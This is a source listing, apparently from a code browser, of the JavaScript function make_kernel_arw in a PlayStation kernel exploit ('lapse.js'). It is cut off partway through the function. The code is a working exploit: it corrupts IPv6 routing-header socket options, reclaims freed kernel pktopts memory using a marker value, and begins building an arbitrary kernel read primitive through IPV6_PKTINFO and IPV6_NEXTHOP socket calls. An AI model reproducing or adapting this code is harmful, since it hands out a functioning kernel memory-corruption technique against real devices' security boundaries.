Function make_kernel_arw

g2all/900/lapse.js:1189–1515

(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds)

// dirty_sd is the socket whose rthdr pointer is corrupt
// kernel_addr is the address of the "evf cv" string
function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
    const psd = pktopts_sds[0];
    const tclass = new Word();
    const off_tclass = is_ps4 ? 0xb0 : 0xc0;

    const pktopts = new Buffer(0x100);
    const rsize = build_rthdr(pktopts, pktopts.size);
    const pktinfo_p = k100_addr.add(0x10);
    // pktopts.ip6po_pktinfo = &pktopts.ip6po_pktinfo
    pktopts.write64(0x10, pktinfo_p);

    log('overwrite main pktopts');
    let reclaim_sd = null;
    close(pktopts_sds[1]);
    for (let i = 0; i < num_alias; i++) {
        for (let i = 0; i < num_sds; i++) {
            // if a socket doesn't have a pktopts, setting the rthdr will make
            // one. the new pktopts might reuse the memory instead of the
            // rthdr. make sure the sockets already have a pktopts before
            pktopts.write32(off_tclass, 0x4141 | i << 16);
            set_rthdr(sds[i], pktopts, rsize);
        }

        gsockopt(psd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
        const marker = tclass[0];
        if ((marker & 0xffff) === 0x4141) {
            log(`found reclaim sd at attempt: ${i}`);
            const idx = marker >>> 16;
            reclaim_sd = sds[idx];
            sds.splice(idx, 1);
            break;
        }
    }
    if (reclaim_sd === null) {
        die('failed to overwrite main pktopts');
    }

    const pktinfo = new Buffer(0x14);
    pktinfo.write64(0, pktinfo_p);
    const nhop = new Word();
    const nhop_p = nhop.addr;
    const read_buf = new Buffer(8);
    const read_buf_p = read_buf.addr;
    function kread64(addr) {
        const len = 8;
        let offset = 0;
        while (offset < len) {
            // pktopts.ip6po_nhinfo = addr + offset
            pktinfo.write64(8, addr.add(offset));
            nhop[0] = len - offset;

            ssockopt(psd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
            sysi(
                'getsockopt',
                psd, IPPROTO_IPV6, IPV6_NEXTHOP,
                read_buf_p.add(offset), nhop_p,
            );